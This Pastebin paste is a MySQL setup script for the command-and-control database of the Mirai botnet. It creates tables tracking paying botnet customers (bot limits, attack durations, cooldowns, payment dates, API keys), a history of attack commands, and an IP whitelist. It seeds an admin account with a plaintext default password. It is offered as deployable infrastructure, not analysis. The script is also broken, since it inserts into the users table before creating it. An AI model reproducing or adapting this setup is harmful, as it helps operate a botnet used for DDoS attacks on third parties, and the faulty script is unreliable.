Advertisement
Sweetening

[SQL] Mirai Database perms

Sep 27th, 2024
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. -- Create the database
  2. CREATE DATABASE IF NOT EXISTS mirai;
  3.  
  4. -- Use the database
  5. USE mirai;
  6.  
  7. -- Create a new user with root privileges if necessary
  8. -- Note: This may require admin privileges on your MySQL server
  9. -- CREATE USER 'root'@'localhost' IDENTIFIED BY 'root';
  10. -- GRANT ALL PRIVILEGES ON mirai.* TO 'root'@'localhost';
  11.  
  12. -- Insert a user into the users table
  13. INSERT INTO users (username, password, duration_limit, cooldown, wrc, last_paid, max_bots, admin, intvl, api_key)
  14. VALUES ('anna-senpai', 'myawesomepassword', NULL, 0, NULL, 0, -1, 1, 30, '');
  15.  
  16. -- Create the history table
  17. CREATE TABLE IF NOT EXISTS `history` (
  18. `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  19. `user_id` INT(10) UNSIGNED NOT NULL,
  20. `time_sent` INT(10) UNSIGNED NOT NULL,
  21. `duration` INT(10) UNSIGNED NOT NULL,
  22. `command` TEXT NOT NULL,
  23. `max_bots` INT(11) DEFAULT '-1',
  24. PRIMARY KEY (`id`),
  25. KEY `user_id` (`user_id`)
  26. ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
  27.  
  28. -- Create the users table
  29. CREATE TABLE IF NOT EXISTS `users` (
  30. `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  31. `username` VARCHAR(32) NOT NULL,
  32. `password` VARCHAR(64) NOT NULL, -- Increased length for more secure passwords
  33. `duration_limit` INT(10) UNSIGNED DEFAULT NULL,
  34. `cooldown` INT(10) UNSIGNED NOT NULL,
  35. `wrc` INT(10) UNSIGNED DEFAULT NULL,
  36. `last_paid` INT(10) UNSIGNED NOT NULL,
  37. `max_bots` INT(11) DEFAULT '-1',
  38. `admin` TINYINT(1) UNSIGNED DEFAULT '0', -- Changed to TINYINT for boolean-like use
  39. `intvl` INT(10) UNSIGNED DEFAULT '30',
  40. `api_key` TEXT,
  41. PRIMARY KEY (`id`),
  42. UNIQUE KEY `username` (`username`) -- Enforced uniqueness on usernames
  43. ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
  44.  
  45. -- Create the whitelist table
  46. CREATE TABLE IF NOT EXISTS `whitelist` (
  47. `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  48. `prefix` VARCHAR(16) DEFAULT NULL,
  49. `netmask` TINYINT(3) UNSIGNED DEFAULT NULL,
  50. PRIMARY KEY (`id`),
  51. KEY `prefix` (`prefix`)
  52. ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
  53.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement